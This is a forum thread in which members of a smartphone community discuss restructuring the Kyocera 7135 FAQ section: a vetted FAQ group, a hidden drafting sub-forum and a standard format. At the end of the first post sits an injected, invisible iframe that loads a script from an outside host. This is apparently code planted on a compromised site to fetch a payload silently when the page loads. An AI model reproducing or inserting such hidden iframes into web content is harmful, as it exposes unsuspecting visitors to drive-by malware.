I think with the expected fall launch of this product, we should rethink how the FAQ forum is handled. Here is what I purpose:
[list=1][*]Lock the 7135 FAQ Forum[*]Establish a group of people that will get the 7135 from the get go, no matter what, that are also known, knowledgable contributors to this board, and avid power users of the smartphone. I vote that these people choosen should be selected by group decision by marctronixx, Robert K., jj and jazz.[*]Create a user group in the admin of this board, and make these agreed upon users part of it.[*]Assign this new group to be the only ones allowed to post to the FAQ forum, and make them all moderators of it.[/list=1]

This group will be responsible for brainstorming the FAQ's based on questions arrising in the forums. The FAQ should be used as a place to post a detailed, well designed resolution to a frequently asked question.

There should be a format to each FAQ, that will ensure consistancy. Posts will be composed offline, and shared with the others in that group prior to posting it in the FAQ forum. One way to accomplish this, is to create a sub forum, that is only viewable by ADMINS and this new group. It can be made to not even show up in the forum main page depending on your login. In that forum, a working FAQ can start with the new groups input until all have approved for main FAQ forum posting.

Anyway, this is just an idea, probably to convuluted. However I think it would keep it clean and make it a benifit! Heck, they could even take FAQ requests!<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

I agree. Make is so, Number One.

I think that's a great idea... it would certainly keep the FAQ area organized and easier to use. The 7135 has SO MANY features that it makes sense to maintain some control of the FAQ's, otherwise there would probably be a lot of posts that detract from the usefulness of the FAQ board.

Just off the top of my head I'm thinking that each of the people in the FAQ group would take notes on everything that they do when learning to use their 7135. Then we could come up with a list of topics, assign topics to each person in the group, and turn over all notes that each person took to who was assigned that topic to condense into an easily understood and concise FAQ. Then we run the polished FAQ by the rest of the group for feedback/approval. Sounds like a lot of steps, but should be a relatively straight forward and efficient process. And a process that I would be very happy to be involved in.

Once the dust settles in the first few weeks (make that days... I don't plan to take very long learning about every minute detail of the 7135, although there is so much it can do, it might take some time) we will have a solid FAQ board, and instead of spending all of our time here answering already answered questions we can just point people to the FAQ's and then get back to basking in the glory of our 7135's

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Please visit my picture site: Robert-O-Rama :)

That's an excellent idea. As anyone who's done a search knows, threads starting with one idea often end up on different tangents. When a newbie comes and asks "I just got a Verizon 7135 off Ebay and want to convert it to Sprint" instead of saying "uhh, that's been covered before, try doing a search" one could say "RTFF" (Read The Faq First) or (Read the F'ing Faq) whichever your preference.

Also agree with the standardized format. Makes for easier reading. Back in the DOS days, the text manuals for proggies I used all seemed to conform to the same format which made reading/learning easier.

Also agree with having a faq committee. An alternative to having a private forum would be an open 'faq submission forum' whereas the finished faq would be an HTML web page like www.smartphonesource.com/7135/faq.html. The top page could be a table of contents which would link to solutions, and all this formatted thus that it would look nice while connecting from the phone. Should be easy since it would all be text, and only one person would be responsible for editing, adding, modifying, subtracting, etc.

just my 2 cents, take with a grain of salt...

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David

I TOTALLY agree. Great idea!

Well my reason for choosing the hidden, private forum was so those with full access to the domain (JJ and Jazz) did not have to be sooo involved with this and having to HTML the FAQ (or uploading it). The Private, hidden forum for the group could have posts that are works in progress. Since this board supports colors, one could start the FAQ, while other make changes in subsiquent replies using colors to note the differences.

As far as how they come to [i]brainstorming[/] the FAQ's can be decided on by the group though, I jsut offer my humble serives